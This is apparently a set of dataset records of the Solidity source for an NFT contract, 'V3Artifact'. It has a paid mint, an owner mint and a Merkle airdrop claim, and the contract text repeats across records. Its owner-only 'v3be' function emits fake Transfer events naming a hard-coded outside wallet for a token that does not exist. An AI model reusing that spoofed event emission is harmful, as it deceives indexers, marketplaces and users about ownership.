* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
} | _baseURI | function _baseURI() internal view virtual returns (string memory) {
return _baseURIPath;
}
| /**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/ | NatSpecMultiLine | v0.8.1+commit.df193b15 | {
"func_code_index": [
6025,
6131
]
} | 4,292 |
||||
V3Artifact | contracts/V3Artifact.sol | 0x5647717e536e4a6d3e6cde2d848fb6d933db7acb | Solidity | V3Artifact | contract V3Artifact is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable, Ownable {
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
// merkle root for airdrop
bytes32 public immutable merkleRoot = 0xb89e5dc927d0daa49a33f00f520d9e2eb050c5b31a58f59a0f3bc02dfad66f7e;
uint256 internal currentIndex = 0;
// mint price
uint256 public _price = 69000000000000000;
// Token name
string private _name;
address private _owner = msg.sender;
bool public _isClaimOpen = true;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// has wallet claimed the airdrop
mapping(address => bool) public _hasWalletClaimed;
event Claimed(address account, uint256 amount);
string public _baseURIPath = 'ipfs://QmVLCj5rs43W46zM1D2LcE9RgnEwGsvV15YY974pjR3Ar3/';
uint256 public _totalClaimed = 0;
bool public _isMintLive = true;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return currentIndex;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
require(index < totalSupply(), 'ERC721A: global index out of bounds');
return index;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
require(index < balanceOf(owner), 'ERC721A: owner index out of bounds');
uint256 numMintedSoFar = totalSupply();
uint256 tokenIdsIdx = 0;
address currOwnershipAddr = address(0);
for (uint256 i = 0; i < numMintedSoFar; i++) {
TokenOwnership memory ownership = _ownerships[i];
if (ownership.addr != address(0)) {
currOwnershipAddr = ownership.addr;
}
if (currOwnershipAddr == owner) {
if (tokenIdsIdx == index) {
return i;
}
tokenIdsIdx++;
}
}
revert('ERC721A: unable to get token of owner by index');
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), 'ERC721A: balance query for the zero address');
return uint256(_addressData[owner].balance);
}
function _numberMinted(address owner) internal view returns (uint256) {
require(owner != address(0), 'ERC721A: number minted query for the zero address');
return uint256(_addressData[owner].numberMinted);
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
require(_exists(tokenId), 'ERC721A: owner query for nonexistent token');
for (uint256 curr = tokenId; ; curr--) {
TokenOwnership memory ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
revert('ERC721A: unable to determine the owner of token');
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), 'ERC721Metadata: URI query for nonexistent token');
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString(), '.json')) : '';
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return _baseURIPath;
}
function setBaseURI(string memory newPath) external onlyOwner {
_baseURIPath = newPath;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = V3Artifact.ownerOf(tokenId);
require(to != owner, 'ERC721A: approval to current owner');
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
'ERC721A: approve caller is not owner nor approved for all'
);
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), 'ERC721A: approved query for nonexistent token');
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
require(operator != _msgSender(), 'ERC721A: approve to caller');
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
safeTransferFrom(from, to, tokenId, '');
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
'ERC721A: transfer to non ERC721Receiver implementer'
);
}
function setPrice(uint256 newPrice) external {
require(msg.sender == _owner);
_price = newPrice;
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return tokenId < currentIndex;
}
function mint_(address to, uint256 quantity) external {
require(msg.sender == _owner);
_safeMint(to, quantity);
}
function setMintIsLive(bool flag) external {
require(msg.sender == _owner);
_isMintLive = flag;
}
function mint(address to, uint256 quantity) external payable {
require(quantity <= 30 && quantity > 0);
require(_isMintLive, "mint must be live");
require(_price * quantity == msg.value);
// 1411 total artifacts - total claimed = total unclaimed artifacts. leave rest for reserved claimers.
uint256 totalUnclaimed = 1411 - _totalClaimed;
// only allow mints
require(currentIndex + quantity <= 5000 - totalUnclaimed);
payable(_owner).transfer(msg.value);
_safeMint(to, quantity);
}
// emits good v3bes
function v3be(uint256 amountV3bes) external onlyOwner {
for (uint i = 0 ;i<amountV3bes;i++) {
emit Transfer(address(0), 0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, 42069);
}
}
function claim(
address account,
uint256 amount,
bytes32[] calldata merkleProof
) public {
require(_isClaimOpen);
require(currentIndex + amount <= 5000);
// Verify the merkle proof.
bytes32 node = keccak256(abi.encodePacked(account, amount));
require(account == msg.sender);
require(!_hasWalletClaimed[msg.sender]);
require(
MerkleProof.verify(merkleProof, merkleRoot, node),
"MerkleDistributor: Invalid proof."
);
_safeMint(account, amount);
_hasWalletClaimed[msg.sender] = true;
// do your logic accordingly here
_totalClaimed += amount;
emit Claimed(account, amount);
}
function isClaimOpen() public view returns (bool) {
return _isClaimOpen;
}
function setClaimIsOpen(bool isOpen) external {
require(msg.sender == _owner);
_isClaimOpen = isOpen;
}
// checks if a wallet has claimed airdrop
function hasClaimed(address addr) public view returns (bool) {
return _hasWalletClaimed[addr];
}
function getTotalClaimed() public view returns(uint256) {
return _totalClaimed;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, '');
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
_mint(to, quantity, _data, true);
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(
address to,
uint256 quantity,
bytes memory _data,
bool safe
) internal {
uint256 startTokenId = currentIndex;
require(to != address(0), 'ERC721A: mint to the zero address');
// We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering.
require(!_exists(startTokenId), 'ERC721A: token already minted');
require(quantity > 0, 'ERC721A: quantity must be greater than 0');
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
_addressData[to].balance += uint128(quantity);
_addressData[to].numberMinted += uint128(quantity);
_ownerships[startTokenId].addr = to;
_ownerships[startTokenId].startTimestamp = uint64(block.timestamp);
uint256 updatedIndex = startTokenId;
for (uint256 i = 0; i < quantity; i++) {
emit Transfer(address(0), to, updatedIndex);
if (safe) {
require(
_checkOnERC721Received(address(0), to, updatedIndex, _data),
'ERC721A: transfer to non ERC721Receiver implementer'
);
}
updatedIndex++;
}
currentIndex = updatedIndex;
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
getApproved(tokenId) == _msgSender() ||
isApprovedForAll(prevOwnership.addr, _msgSender()));
require(isApprovedOrOwner, 'ERC721A: transfer caller is not owner nor approved');
require(prevOwnership.addr == from, 'ERC721A: transfer from incorrect owner');
require(to != address(0), 'ERC721A: transfer to the zero address');
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
}
_ownerships[tokenId].addr = to;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
if (_exists(nextTokenId)) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous ownefr of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert('ERC721A: transfer to non ERC721Receiver implementer');
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
} | approve | function approve(address to, uint256 tokenId) public override {
address owner = V3Artifact.ownerOf(tokenId);
require(to != owner, 'ERC721A: approval to current owner');
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
'ERC721A: approve caller is not owner nor approved for all'
);
_approve(to, tokenId, owner);
}
| /**
* @dev See {IERC721-approve}.
*/ | NatSpecMultiLine | v0.8.1+commit.df193b15 | {
"func_code_index": [
6291,
6701
]
} | 4,293 |
||||
V3Artifact | contracts/V3Artifact.sol | 0x5647717e536e4a6d3e6cde2d848fb6d933db7acb | Solidity | V3Artifact | contract V3Artifact is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable, Ownable {
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
// merkle root for airdrop
bytes32 public immutable merkleRoot = 0xb89e5dc927d0daa49a33f00f520d9e2eb050c5b31a58f59a0f3bc02dfad66f7e;
uint256 internal currentIndex = 0;
// mint price
uint256 public _price = 69000000000000000;
// Token name
string private _name;
address private _owner = msg.sender;
bool public _isClaimOpen = true;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// has wallet claimed the airdrop
mapping(address => bool) public _hasWalletClaimed;
event Claimed(address account, uint256 amount);
string public _baseURIPath = 'ipfs://QmVLCj5rs43W46zM1D2LcE9RgnEwGsvV15YY974pjR3Ar3/';
uint256 public _totalClaimed = 0;
bool public _isMintLive = true;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return currentIndex;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
require(index < totalSupply(), 'ERC721A: global index out of bounds');
return index;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
require(index < balanceOf(owner), 'ERC721A: owner index out of bounds');
uint256 numMintedSoFar = totalSupply();
uint256 tokenIdsIdx = 0;
address currOwnershipAddr = address(0);
for (uint256 i = 0; i < numMintedSoFar; i++) {
TokenOwnership memory ownership = _ownerships[i];
if (ownership.addr != address(0)) {
currOwnershipAddr = ownership.addr;
}
if (currOwnershipAddr == owner) {
if (tokenIdsIdx == index) {
return i;
}
tokenIdsIdx++;
}
}
revert('ERC721A: unable to get token of owner by index');
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), 'ERC721A: balance query for the zero address');
return uint256(_addressData[owner].balance);
}
function _numberMinted(address owner) internal view returns (uint256) {
require(owner != address(0), 'ERC721A: number minted query for the zero address');
return uint256(_addressData[owner].numberMinted);
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
require(_exists(tokenId), 'ERC721A: owner query for nonexistent token');
for (uint256 curr = tokenId; ; curr--) {
TokenOwnership memory ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
revert('ERC721A: unable to determine the owner of token');
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), 'ERC721Metadata: URI query for nonexistent token');
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString(), '.json')) : '';
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return _baseURIPath;
}
function setBaseURI(string memory newPath) external onlyOwner {
_baseURIPath = newPath;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = V3Artifact.ownerOf(tokenId);
require(to != owner, 'ERC721A: approval to current owner');
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
'ERC721A: approve caller is not owner nor approved for all'
);
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), 'ERC721A: approved query for nonexistent token');
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
require(operator != _msgSender(), 'ERC721A: approve to caller');
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
safeTransferFrom(from, to, tokenId, '');
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
'ERC721A: transfer to non ERC721Receiver implementer'
);
}
function setPrice(uint256 newPrice) external {
require(msg.sender == _owner);
_price = newPrice;
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return tokenId < currentIndex;
}
function mint_(address to, uint256 quantity) external {
require(msg.sender == _owner);
_safeMint(to, quantity);
}
function setMintIsLive(bool flag) external {
require(msg.sender == _owner);
_isMintLive = flag;
}
function mint(address to, uint256 quantity) external payable {
require(quantity <= 30 && quantity > 0);
require(_isMintLive, "mint must be live");
require(_price * quantity == msg.value);
// 1411 total artifacts - total claimed = total unclaimed artifacts. leave rest for reserved claimers.
uint256 totalUnclaimed = 1411 - _totalClaimed;
// only allow mints
require(currentIndex + quantity <= 5000 - totalUnclaimed);
payable(_owner).transfer(msg.value);
_safeMint(to, quantity);
}
// emits good v3bes
function v3be(uint256 amountV3bes) external onlyOwner {
for (uint i = 0 ;i<amountV3bes;i++) {
emit Transfer(address(0), 0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, 42069);
}
}
function claim(
address account,
uint256 amount,
bytes32[] calldata merkleProof
) public {
require(_isClaimOpen);
require(currentIndex + amount <= 5000);
// Verify the merkle proof.
bytes32 node = keccak256(abi.encodePacked(account, amount));
require(account == msg.sender);
require(!_hasWalletClaimed[msg.sender]);
require(
MerkleProof.verify(merkleProof, merkleRoot, node),
"MerkleDistributor: Invalid proof."
);
_safeMint(account, amount);
_hasWalletClaimed[msg.sender] = true;
// do your logic accordingly here
_totalClaimed += amount;
emit Claimed(account, amount);
}
function isClaimOpen() public view returns (bool) {
return _isClaimOpen;
}
function setClaimIsOpen(bool isOpen) external {
require(msg.sender == _owner);
_isClaimOpen = isOpen;
}
// checks if a wallet has claimed airdrop
function hasClaimed(address addr) public view returns (bool) {
return _hasWalletClaimed[addr];
}
function getTotalClaimed() public view returns(uint256) {
return _totalClaimed;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, '');
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
_mint(to, quantity, _data, true);
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(
address to,
uint256 quantity,
bytes memory _data,
bool safe
) internal {
uint256 startTokenId = currentIndex;
require(to != address(0), 'ERC721A: mint to the zero address');
// We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering.
require(!_exists(startTokenId), 'ERC721A: token already minted');
require(quantity > 0, 'ERC721A: quantity must be greater than 0');
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
_addressData[to].balance += uint128(quantity);
_addressData[to].numberMinted += uint128(quantity);
_ownerships[startTokenId].addr = to;
_ownerships[startTokenId].startTimestamp = uint64(block.timestamp);
uint256 updatedIndex = startTokenId;
for (uint256 i = 0; i < quantity; i++) {
emit Transfer(address(0), to, updatedIndex);
if (safe) {
require(
_checkOnERC721Received(address(0), to, updatedIndex, _data),
'ERC721A: transfer to non ERC721Receiver implementer'
);
}
updatedIndex++;
}
currentIndex = updatedIndex;
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
getApproved(tokenId) == _msgSender() ||
isApprovedForAll(prevOwnership.addr, _msgSender()));
require(isApprovedOrOwner, 'ERC721A: transfer caller is not owner nor approved');
require(prevOwnership.addr == from, 'ERC721A: transfer from incorrect owner');
require(to != address(0), 'ERC721A: transfer to the zero address');
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
}
_ownerships[tokenId].addr = to;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
if (_exists(nextTokenId)) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous ownefr of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert('ERC721A: transfer to non ERC721Receiver implementer');
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
} | getApproved | function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), 'ERC721A: approved query for nonexistent token');
return _tokenApprovals[tokenId];
}
| /**
* @dev See {IERC721-getApproved}.
*/ | NatSpecMultiLine | v0.8.1+commit.df193b15 | {
"func_code_index": [
6758,
6972
]
} | 4,294 |
||||
V3Artifact | contracts/V3Artifact.sol | 0x5647717e536e4a6d3e6cde2d848fb6d933db7acb | Solidity | V3Artifact | contract V3Artifact is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable, Ownable {
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
// merkle root for airdrop
bytes32 public immutable merkleRoot = 0xb89e5dc927d0daa49a33f00f520d9e2eb050c5b31a58f59a0f3bc02dfad66f7e;
uint256 internal currentIndex = 0;
// mint price
uint256 public _price = 69000000000000000;
// Token name
string private _name;
address private _owner = msg.sender;
bool public _isClaimOpen = true;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// has wallet claimed the airdrop
mapping(address => bool) public _hasWalletClaimed;
event Claimed(address account, uint256 amount);
string public _baseURIPath = 'ipfs://QmVLCj5rs43W46zM1D2LcE9RgnEwGsvV15YY974pjR3Ar3/';
uint256 public _totalClaimed = 0;
bool public _isMintLive = true;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return currentIndex;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
require(index < totalSupply(), 'ERC721A: global index out of bounds');
return index;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
require(index < balanceOf(owner), 'ERC721A: owner index out of bounds');
uint256 numMintedSoFar = totalSupply();
uint256 tokenIdsIdx = 0;
address currOwnershipAddr = address(0);
for (uint256 i = 0; i < numMintedSoFar; i++) {
TokenOwnership memory ownership = _ownerships[i];
if (ownership.addr != address(0)) {
currOwnershipAddr = ownership.addr;
}
if (currOwnershipAddr == owner) {
if (tokenIdsIdx == index) {
return i;
}
tokenIdsIdx++;
}
}
revert('ERC721A: unable to get token of owner by index');
}
/**
* @dev See {IERC165-supportsInterface}.
*/
